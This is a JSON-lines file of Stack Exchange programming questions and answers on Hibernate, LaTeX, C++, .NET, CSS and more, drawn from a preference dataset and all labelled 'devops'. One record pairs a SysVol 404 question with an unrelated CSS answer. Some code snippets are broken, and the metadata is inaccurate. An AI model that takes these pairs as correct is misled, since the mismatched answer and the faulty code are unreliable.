{"id": "hf_97fded836bbd", "question": "<p>Could someone explain to me how Any-related annotations (<code>@Any</code>, <code>@AnyMetaDef</code>, <code>@AnyMetaDefs</code> and <code>@ManyToAny</code>) work in practice. I have a hard time finding any useful documentation (JavaDoc alone isn't very helpful) about these.</p>\n\n<p>I have thus far gathered that they somehow enable referencing to abstract and extended classes. If this is the case, why is there not an <code>@OneToAny</code> annotation? And is this 'any' referring to a single 'any', or multiple 'any'?</p>\n\n<p>A short, practical and illustrating example would be very much appreciated (doesn't have to compile).</p>\n\n<p><strong>Edit:</strong> as much as I would like to accept replies as answers and give credit where due, I found both Smink's and Sakana's answers informative. Because I can't accept several replies as <em>the answer</em>, I will unfortunately mark neither as the answer.</p>\n", "question_body": "", "answer": "Have you read\nthe Hibernate Annotations documentation for @Any\n? Haven't used that one myself yet, but it looks like some extended way of defining references. The link includes an example, though I don't know if it's enough to fully understand the concept...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.620992"}
{"id": "hf_d4d5c19e70c3", "question": "<p>In history-books you often have timeline, where events and periods are marked on a line in the correct relative distance to each other. How is it possible to create something similar in LaTeX?</p>\n", "question_body": "", "answer": "The\ntikz\npackage seems to have what you want.\n```\n```\n\\documentclass{article}\n\\usepackage{tikz}\n\\usetikzlibrary{snakes}\n\n\\begin{document}\n\n  \\begin{tikzpicture}[snake=zigzag, line before snake = 5mm, line after snake = 5mm]\n    % draw horizontal line   \n    \\draw (0,0) -- (2,0);\n    \\draw[snake] (2,0) -- (4,0);\n    \\draw (4,0) -- (5,0);\n    \\draw[snake] (5,0) -- (7,0);\n\n    % draw vertical lines\n    \\foreach \\x in {0,1,2,4,5,7}\n      \\draw (\\x cm,3pt) -- (\\x cm,-3pt);\n\n    % draw nodes\n    \\draw (0,0) node[below=3pt] {$ 0 $} node[above=3pt] {$   $};\n    \\draw (1,0) node[below=3pt] {$ 1 $} node[above=3pt] {$ 10 $};\n    \\draw (2,0) node[below=3pt] {$ 2 $} node[above=3pt] {$ 20 $};\n    \\draw (3,0) node[below=3pt] {$  $} node[above=3pt] {$  $};\n    \\draw (4,0) node[below=3pt] {$ 5 $} node[above=3pt] {$ 50 $};\n    \\draw (5,0) node[below=3pt] {$ 6 $} node[above=3pt] {$ 60 $};\n    \\draw (6,0) node[below=3pt] {$  $} node[above=3pt] {$  $};\n    \\draw (7,0) node[below=3pt] {$ n $} node[above=3pt] {$ 10n $};\n  \\end{tikzpicture}\n\n\\end{document}\n```\n```\nI'm not too expert with tikz, but this does give a good timeline, which looks like:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.645545"}
{"id": "hf_97a739d8ce91", "question": "<p>Heres a screenshot to make it clear. I'm trying to figure out a robust way of making the bullet images vertically aligned to my li content. As you can see my content is currently too high.</p>\n\n<p>Many thanks 'over-flowers'...</p>\n\n<p><a href=\"http://dl.getdropbox.com/u/240752/list-example.gif\" rel=\"nofollow noreferrer\">http://dl.getdropbox.com/u/240752/list-example.gif</a></p>\n", "question_body": "", "answer": "You can use something like this in your css...\n```\n```\n#content li{\n\n    list-style-image: url(../images/bullet.gif);\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.679920"}
{"id": "hf_82eecdf086f2", "question": "<p>Our 404 error logs show a lot of /SysVol http requests on our Windows Web Server 2008 for our website. It only has a webserver role and I believe that SysVol requests are meant for Domain Controllers? What's causing this and what would be the best solution to deal with these 404 requests?</p>\n\n<p>I'm using code that access employee records via Active Directory (ldap) and the server is not trusted for delegaton in case this is related to the problem.</p>\n", "question_body": "", "answer": "You can use something like this in your css...\n```\n```\n#content li{\n\n    list-style-image: url(../images/bullet.gif);\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.708280"}
{"id": "hf_e97d019bbbf5", "question": "<p>What's the easiest way of me converting the simpler regex format that most users are used to into the correct re python regex string?</p>\n\n<p>As an example, I need to convert this:</p>\n\n<pre><code>string = \"*abc+de?\"\n</code></pre>\n\n<p>to this:</p>\n\n<pre><code>string = \".*abc.+de.?\"\n</code></pre>\n\n<p>Of course I could loop through the string and build up another string character by character, but that's surely an inefficient way of doing this?</p>\n", "question_body": "", "answer": "I'd use\n```\nreplace\n```\n:\n```\n```\ndef wildcard_to_regex(str):\n    return str.replace(\"*\", \".*\").replace(\"?\", .?\").replace(\"#\", \"\\d\")\n```\n```\nThis probably isn't the most efficient way but it should be efficient enough for most purposes. Notice that some wildcard formats allow character classes which are more difficult to handle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.777532"}
{"id": "hf_229067587eb7", "question": "<p>Is there any good way to use a windows application written in C# to display/control a powerpoint slideshow? Ultimately I would like to show thumbnails in a form and clicking these thumbnails would advance the slides shown on a second monitor (similar to using Powerpoint itself to show a slideshow on a second monitor).</p>\n\n<p>I would like to be able to use Powerpoint Viewer if Powerpoint is not installed.</p>\n\n<p>There seems to be some ActiveX-controls that allows integration of Powerpoint in a form, but most of these seem to cost money, does anyone have experience using one of these controls?</p>\n\n<p>Edit: I know that there is an object model accessable by adding a reference to Microsoft.Office.InterOp.Powerpoint, but I want to be able to distribute the resulting program without having Microsoft Office as a prerequisite, that was why I mentioned Powerpoint Viewer because it can be distributed freely.</p>\n", "question_body": "", "answer": "One of our softwares here at work does that. Initially we used MS Office but recently we switched to use\nOpenOffice.org Uno\nsince it offers better control than MS Office and is easier to work with. It has\n.NET CLI-bindings\n.\nTo answer your question, yes it can be done but our engineers would recommend you use OpenOffice.org instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.800642"}
{"id": "hf_db491795c030", "question": "<p>Suppose I have a hash_map and a code like</p>\n\n<pre><code>// i is an iterator\ni = hash_map.erase(i)\n</code></pre>\n\n<p>But GCC's STL doesn't return iterator in erase, but a void. Now is a code like</p>\n\n<pre><code>hash_map.erase(i++)\n</code></pre>\n\n<p>safe (i.e. does not invalidate the iterator or does any other unexpected or unpleasant things)? Please note this is a hash_map.</p>\n", "question_body": "", "answer": "Yes, this is safe, because the value of\n```\ni\n```\nwill have been set to the next value, before the current value is erased.\nAccording to the\nSGI documentation about hashed containers\ninvalidation does not occur for non-erased elements, nor even for resizing (there is no word on whether insertions cause resizing, so to be careful I admit that as a possibility)---but in the latter case, the iteration order will be changed. But this doesn't apply here, unless you go out of your way to resize the container during traversal or something. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.823822"}
{"id": "hf_42ca3510d56b", "question": "<p>i want to write code for unit test to test my application code. I have different methods and now want to test these methods one by one in python script.\nbut i do not how to i write. can any one give me example of small code for unit testing in python.\ni am thankful </p>\n", "question_body": "", "answer": "Read the\nunit testing framework section\nof the\nPython Library Reference\n.\nA\nbasic example\nfrom the documentation:\n```\n```\nimport random\nimport unittest\n\nclass TestSequenceFunctions(unittest.TestCase):\n\n    def setUp(self):\n        self.seq = range(10)\n\n    def testshuffle(self):\n        # make sure the shuffled sequence does not lose any elements\n        random.shuffle(self.seq)\n        self.seq.sort()\n        self.assertEqual(self.seq, range(10))\n\n    def testchoice(self):\n        element = random.choice(self.seq)\n        self.assert_(element in self.seq)\n\n    def testsample(self):\n        self.assertRaises(ValueError, random.sample, self.seq, 20)\n        for element in random.sample(self.seq, 5):\n            self.assert_(element in self.seq)\n\nif __name__ == '__main__':\n    unittest.main()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.846858"}
{"id": "hf_eceaa30de114", "question": "<p>Below are lines from \"the c++ programming language\"</p>\n\n<pre><code>template&lt;class T &gt; T sqrt(T );\ntemplate&lt;class T &gt; complex&lt;T&gt; sqrt(complex&lt;T&gt;);\ndouble sqrt(double);\nvoid f(complex&lt;double&gt; z )\n{\ns q r t (2 ); // sqrt&lt;int&gt;(int)\nsqrt(2.0) ; // sqrt(double)\nsqrt(z) ; // sqrt&lt;double&gt;(complex&lt;double&gt;)\n}\n</code></pre>\n\n<p>I dont understand why sqrt(z) ; calls <code>sqrt&lt;double&gt;(complex&lt;double&gt;)</code> can any body please explain.</p>\n\n<p>Author says, \n<code>T sqrt&lt;complex&lt;T&gt;&gt;</code>  is more specialized than <code>T sqrt &lt;T&gt;</code> but there is a seperate declaration for <code>template&lt;class T &gt; complex&lt;T&gt; sqrt(complex&lt;T&gt;);</code> why not use that?</p>\n", "question_body": "", "answer": "Well, the function used is the one you are talking about\n```\nsqrt<double>(complex<double>)\n```\nis an instance of the template\n```\ntemplate <class T> complex<T> sqrt(complex<T>)\n```\n.\nYour misunderstanding was in the signification of the template instance and not in the overloading process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.870077"}
{"id": "hf_ae415960f2d7", "question": "<p>Is there any class in the .NET framework that can read/write standard .ini files:</p>\n\n<pre><code>[Section]\n&lt;keyname&gt;=&lt;value&gt;\n...\n</code></pre>\n\n<p>Delphi has the <code>TIniFile</code> component and I want to know if there is anything similar for C#? </p>\n", "question_body": "", "answer": "The creators of the .NET framework want you to use XML-based config files, rather than INI files. So no, there is no built-in mechanism for reading them.\nThere are third party solutions available, though.\nINI handlers can be obtained as\nNuGet packages\n, such as\nINI Parser\n.\nYou can write your own INI handler, which is the old-school, laborious way. It gives you more control over the implementation, which you can use for bad or good. See e.g.\nan INI file handling class using C#, P/Invoke and Win32\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.893318"}
{"id": "hf_3a645e6d2bbc", "question": "<p>I am a big fan of letting the compiler do as much work for you as possible.  When writing a simple class the compiler can give you the following for 'free':</p>\n\n<ul>\n<li>A default (empty) constructor</li>\n<li>A copy constructor</li>\n<li>A destructor</li>\n<li>An assignment operator (<code>operator=</code>)</li>\n</ul>\n\n<p>But it cannot seem to give you any comparison operators - such as <code>operator==</code> or <code>operator!=</code>.  For example:</p>\n\n<pre><code>class foo\n{\npublic:\n    std::string str_;\n    int n_;\n};\n\nfoo f1;        // Works\nfoo f2(f1);    // Works\nfoo f3;\nf3 = f2;       // Works\n\nif (f3 == f2)  // Fails\n{ }\n\nif (f3 != f2)  // Fails\n{ }\n</code></pre>\n\n<p>Is there a good reason for this?  Why would performing a member-by-member comparison be a problem?  Obviously if the class allocates memory then you'd want to be careful, but for a simple class surely the compiler could do this for you?</p>\n", "question_body": "", "answer": "I agree, for POD type classes then the compiler could do it for you. However what you might consider simple the compiler might get wrong. So it is better to let the programmer do it.\nI did have a POD case once where two of the fields were unique - so a comparison would never be considered true. However the comparison I needed only ever compared on the payload - something the compiler would never understand or could ever figure out on it's own.\nBesides - they don't take long to write do they?!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.916403"}
{"id": "hf_e517bd029b63", "question": "<p>I've got a text box bound to an object's property (in fact several text boxes) on a form. This for is an editor for an object. When i'm editing some objects and modify values in the one of the text boxes i can't exit from the text box (neither by tab nor clicking on another text box). However that's not always the case - when editing other objects (of the same type) it works fine.</p>\n\n<p>Here's a code snipet:</p>\n\n<pre><code>txtValue.DataBindings.Add(\"Text\", _SourceObject, \"PlannedValue\", True, DataSourceUpdateMode.OnPropertyChanged, Nothing, \"c\")\ntxtEstPlacements.DataBindings.Add(\"Text\", _SourceObject, \"EstimatedPlacementCount\")\ntxtReference.DataBindings.Add(\"Text\", _SourceObject, \"Reference\")\n</code></pre>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Sounds like a data validation issue.  Check if the controls on the form have their CausesValidation properties set to true or false.\nAlso check the AutoValidate property on the form.  It is probably set to EnablePreventFocusChange (which is the default).\nIt may also be the case that the value being supplied in the text box can not be converted to the type of the property it is bound to on the source data object.  I believe the Convert class is used for this (though I may be wrong here).\nYou may want to check out\nthis article\non MSDN that covers winforms validation in some detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.938606"}
{"id": "hf_b091b5fdced2", "question": "<p>Can I have multiple primary keys in a single table?</p>\n", "question_body": "", "answer": "You can only have one primary key, but you can have multiple columns in your primary key.\nYou can also have Unique Indexes on your table, which will work a bit like a primary key in that they will enforce unique values, and will speed up querying of those values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.028047"}
{"id": "hf_32a943e1a6b7", "question": "<p>How do I print debug messages in the Google Chrome JavaScript Console?</p>\n\n<p>Please note that the JavaScript Console is not the same as the JavaScript Debugger; they have different syntaxes AFAIK, so the <strong>print</strong> command in JavaScript Debugger will not work here. In the JavaScript Console, <code>print()</code> will send the parameter to the printer.</p>\n", "question_body": "", "answer": "Executing following code from the browser address bar:\n```\njavascript: console.log(2);\n```\nsuccessfully prints message to the \"JavaScript Console\" in Google Chrome.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.069502"}
{"id": "hf_44ddac682e2f", "question": "<p>How do I generate friendly URLs within the ASP.NET MVC Framework? For example, we've got a URL that looks like this:</p>\n<pre>http://site/catalogue/BrowseByStyleLevel/1</pre>\n<p>The 1 is Id of the study level (Higher in this case) to browse, but I'l like to reformat the URL in the same way StackOverflow does it.</p>\n<p>For example, these two URLs will take you to the same place:</p>\n<blockquote>\n<p><a href=\"https://stackoverflow.com/questions/119323/nested-for-loops-in-different-languages\">https://stackoverflow.com/questions/119323/nested-for-loops-in-different-languages</a></p>\n<p><a href=\"https://stackoverflow.com/questions/119323/\">https://stackoverflow.com/questions/119323/</a></p>\n</blockquote>\n<p><strong>EDIT:</strong> The friendly part of the url is referred to as a <em>slug</em>.</p>\n", "question_body": "", "answer": "you have a route on the global.asax\n```\n```\nroutes.MapRoute(\n                    \"Default\", // Route name\n                    \"{controller}/{action}/{id}\", // URL with parameters\n                    new { controller = \"Home\", action = \"Index\", id = \"\"} \n                    // Parameter defaults )\n```\n```\nyou can  define your own route like :\ncontroller is the cs class inside the the controllers folder.\nyou can define your id - with the name you choose.\nthe system will pass the value to your actionResult method.\nyou can read more about this step here :\nhttp://www.asp.net/learn/mvc/tutorial-05-cs.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.091756"}
{"id": "hf_b438a205c531", "question": "<p>Is there a way to Deserialize Expressions in C#, I would like to store Expressions in a Database and load them at run time.</p>\n", "question_body": "", "answer": "Not in full; however, the\nDynamic LINQ\nsample may help a bit. You can certainly serialize an expression to a string (to an extent - generics look a bit screwy), but there is no inbuilt parser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.115558"}
{"id": "hf_a277a524f562", "question": "<p>I was trying to test code using com class to display Word files but I cannot seem to get the answer and still searching. I get errors and sometimes, programs do not display anything at all. Please give me some ideas. I'm working with PHP 4.</p>\n", "question_body": "", "answer": "Do you mean you want to have the word plugin activated in the browser? Try the\n```\n<object>\n```\ntag with the correct mime type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.161237"}
{"id": "hf_fe86742cd39d", "question": "<p>In the documentation of hardware that allows us to control it via UDP/IP,\nI found the following fragment:</p>\n\n<blockquote>\n  <p>In this communication protocol, DWORD is a 4 bytes data, WORD is a 2 bytes data,\n  BYTE is a single byte data. The storage format is little endian, namely 4 bytes (32bits) data is stored as: d7-d0, d15-d8, d23-d16, d31-d24; double bytes (16bits) data is stored as: d7-d0 , d15-d8.</p>\n</blockquote>\n\n<p>I am wondering how this translates to C#?\nDo I have to convert stuff before sending it over?\nFor example, if I want to send over a 32 bit integer, or a 4 character string?</p>\n", "question_body": "", "answer": "Re little-endian, the short answer (to do I need to do anything) is \"probably not, but it depends on your hardware\". You can check with:\n```\n```\nbool le = BitConverter.IsLittleEndian;\n```\n```\nDepending on what this says, you might want to reverse portions of your buffers. Alternatively, Jon Skeet has specific-endian converters\nhere\n(look for EndianBitConverter).\nNote that itaniums (for example) are big-endian. Most Intels are little-endian.\nRe the specific UDP/IP...?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.193396"}
{"id": "hf_4f36f5e6719a", "question": "<p>I quite often see on the Internet various complaints that other peoples examples of currying are not currying, but are actually just partial application.</p>\n\n<p>I've not found a decent explanation of what partial application is, or how it differs from currying. There seems to be a general confusion, with equivalent examples being described as currying in some places, and partial application in others.</p>\n\n<p>Could someone provide me with a definition of both terms, and details of how they differ?</p>\n", "question_body": "", "answer": "Interesting question. After a bit of searching,\n\"Partial Function Application is not currying\"\ngave the best explanation I found. I can't say that the\npractical\ndifference is particularly obvious to me, but then I'm not an FP expert...\nAnother useful-looking page (which I confess I haven't fully read yet) is\n\"Currying and Partial Application with Java Closures\"\n.\nIt does look like this is widely-confused pair of terms, mind you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.277012"}
{"id": "hf_ac4059ea73f3", "question": "<p>If I switch on the generating of debug info with Javac then the class files are 20-25% larger. Has this any performance effects on running the Java program? If yes on which conditions and how many. I expect a little impact on loading the classes because the files are larger but this should be minimal.</p>\n", "question_body": "", "answer": "In any language, debugging information is meta information. It by its nature increases the size of the object files, thus increasing load time. During execution outside a debugger, this information is actually completely ignored. As outlined (although not clearly) in the\nJVM spec\nthe debug information is stored outside the bytecode stream. This means that at execution time there is no difference in the class file. If you want to be sure though, try it out :-).\nPs. Often for debugging there is value in turning off optimization. That\ndoes\nhave a performance impact.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.315340"}
{"id": "hf_2a0ebeef18de", "question": "<p>Guys, can someone give me a brief run through of how to change the background colour of a CEdit control at runtime? I want to be able to change the background to red if the field is zero length and the normal white otherwise.</p>\n", "question_body": "", "answer": "You cannot do it with a plain CEdit, you need to override a few bits.\nImplement your own ON_WM_CTLCOLOR_REFLECT handler, then return your coloured CBrush in the handler:\n(roughly, you'll need to put the usual resource management in there, rememebr to delete your brush in the destructor)\n```\n```\nclass CColorEdit : public CEdit\n{\n  ....\n  CBrush   m_brBkgnd;\n  afx_msg HBRUSH CtlColor(CDC* pDC, UINT nCtlColor)\n  {\n    m_brBkgnd.DeleteObject();\n    m_brBkgnd.CreateSolidBrush(nCtlColor);\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.338346"}
{"id": "hf_dbf1df4957e3", "question": "<p>I want to show the publish date in the About dialog.</p>\n", "question_body": "", "answer": "Unfortunately, no. ApplicationDeployment class exposes only the\nCurrentVersion\nproperty, not the publish time.\nYou could use the revision field to store the date of the build to show in the About dialog.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.361558"}
{"id": "hf_ec0e064750db", "question": "<p>Is there a class in the standard library of .NET that gives me the functionality to create random variables that follow Gaussian distribution? </p>\n", "question_body": "", "answer": "Jarrett's suggestion of using a Box-Muller transform is good for a quick-and-dirty solution.  A simple implementation:\n```\n```\nRandom rand = new Random(); //reuse this if you are generating many\ndouble u1 = 1.0-rand.NextDouble(); //uniform(0,1] random doubles\ndouble u2 = 1.0-rand.NextDouble();\ndouble randStdNormal = Math.Sqrt(-2.0 * Math.Log(u1)) *\n             Math.Sin(2.0 * Math.PI * u2); //random normal(0,1)\ndouble randNormal =\n             mean + stdDev * randStdNormal; //random normal(mean,stdDev^2)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.438101"}
{"id": "hf_5849758783b4", "question": "<p>I've recently searched how I could get the application's directory in Java. I've finally found the answer but I've needed surprisingly long because searching for such a generic term isn't easy. I think it would be a good idea to compile a list of how to achieve this in multiple languages.</p>\n\n<p>Feel free to up/downvote if you (don't) like the idea and <strong>please contribute</strong> if you like it.</p>\n\n<h2>Clarification:</h2>\n\n<p>There's a fine distinction between the <em>directory that contains the executable file</em> and the <em>current working directory</em> (given by <code>pwd</code> under Unix). I was originally interested in the former but feel free to post methods for determining the latter as well (clarifying which one you mean).</p>\n", "question_body": "", "answer": "In\nJava\n, there are two ways to find the application's path. One is to employ\n```\nSystem.getProperty\n```\n:\n```\n```\nSystem.getProperty(\"user.dir\");\n```\n```\nAnother possibility is the use of\n```\njava.io.File\n```\n:\n```\n```\nnew java.io.File(\"\").getAbsolutePath();\n```\n```\nYet another possibilty uses reflection:\n```\n```\ngetClass().getProtectionDomain().getCodeSource().getLocation().getPath();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.456273"}
{"id": "hf_7d5a327fc54d", "question": "<p>I have a div with <code>overflow:hidden</code>, inside which I show a phone number as the user types it. The text inside the div is aligned to right and incoming characters are added to right as the text grows to left.</p>\n\n<p>But once the text is big enough not to fit in the div, last characters of the number is automatically cropped and the user cannot see the new characters she types.</p>\n\n<p>What I want to do is crop the left characters, like the div is showing the rightmost of its content and overflowing to the left side. How can I create this effect?</p>\n\n<p><img src=\"https://i.imgur.com/CRbCCPm.jpg\" alt=\"overflowing phone number to left\"></p>\n", "question_body": "", "answer": "Have you tried using the following:\n```\n```\ndirection: rtl;\n```\n```\nFor more information see\nhttp://www.w3schools.com/cssref/pr_text_direction.asp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.476772"}
{"id": "hf_59ab70a3f8dc", "question": "<p>Today when I was in computer organization class, teacher talked about something interesting to me. When it comes to talk about Why cache memory works, he said that:</p>\n\n<pre><code>for (i=0; i&lt;M; i++)\n   for(j=0; j&lt;N; j++)\n      X[i][j] = X[i][j] + K; //X is double(8 bytes)\n</code></pre>\n\n<p>it is not good to change the first line with the second. What is your opinions on this? And why it is like that?</p>\n", "question_body": "", "answer": "It is like that becauses caches like locality. The same number of memory accessed, but spaced further apart, will hit different \"lines\" of cache, or might even miss the cache altogether. It is therefore good, whenever you have the choice, to organize data so that accesses that are likely to happen close to each other in time, also do so in space. This increases the chance of a cache hit, and gives you more performance.\nThere is of course a wealth of information about this topic available, see for instance\nthis wikipedia entry on locality of reference\n. Or, I guess, your own course text book. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.559105"}
{"id": "hf_6070a59d8d2a", "question": "<p>I want to deserialize an object but don't know the class up front.  So, consider the following code...</p>\n\n<pre><code>IFormatter formatter = new BinaryFormatter();\nStream stream = new FileStream(\"MyFile.bin\", FileMode.Open, FileAccess.Read, FileShare.Read);\nMyObject obj = (MyObject)formatter.Deserialize(stream);\n</code></pre>\n\n<p>What could I do if I don't know the class up front?  Say, for example \"MyFile.bin\" was a MyObject or a MyFoo.  How do I determine which object to instantiate?</p>\n\n<p>Something like...</p>\n\n<pre><code>if (magic happens here == typeof(MyObject))  \n    MyObject obj = (MyObject) formatter.Deserialize(stream);   \nelse if (more magic happens here == typeof(MyFoo))  \n    MyFoo foo = (MyFoo)formatter.Deserialize(stream);\n</code></pre>\n", "question_body": "", "answer": "Just do:\n```\n```\nobject result = formatter.Deserialize(stream); \nType t = result.GetType();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.618622"}
{"id": "hf_9bebdeaabe3e", "question": "<p>I'm wrapping up a <code>Javascript</code> widget in a <code>Wicket</code> component.  I want to let the JS side talk to the component.  What I've got so far:</p>\n\n<p>Component in question goes like</p>\n\n<pre><code>talker = new GridAjaxBehavior();\nthis.add(talker);    \n</code></pre>\n\n<p>in constructor</p>\n\n<p>and then, later on, puts something like</p>\n\n<pre><code>\"var MyGridTalker = new talker(\" + this.talker.getCallbackUrl() + \");\";\n</code></pre>\n\n<p>into the JS.</p>\n\n<p>where <code>GridAjaxBehavior</code> extends <code>AbstractDefaultAjaxBehavior</code>.  I want GridAjaxBehavior to spit back some XML when the JS calls it.  </p>\n\n<p>Am I doing this the right way?  What should GridAjaxBehaviour do to spit back the XML?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I don't really know what Wicket is or what it does, but there is a minor bug in your code (as it appears).\nThis:\n```\n\"var MyGridTalker = new talker(\" + this.talker.getCallbackUrl();\n```\nYou seem to be missing your end parens:\n```\n\"var MyGridTalker = new talker(\" + this.talker.getCallbackUrl() + \")\";\n```\nAnyway, not a big deal, but didn't know if it was intentional.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.641780"}
{"id": "hf_3314e988e2b4", "question": "<p>If I need to throw an exception from within my application which of the built-in .NET exception classes can I use? Are they all fair game? When should I derive my own?</p>\n", "question_body": "", "answer": "I use the\n```\nArgumentException\n```\n(and its “friends”) regularly.\n```\nNotSupportedException\n```\nand\n```\nNotImplementedException\n```\nare also common.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:27.665116"}
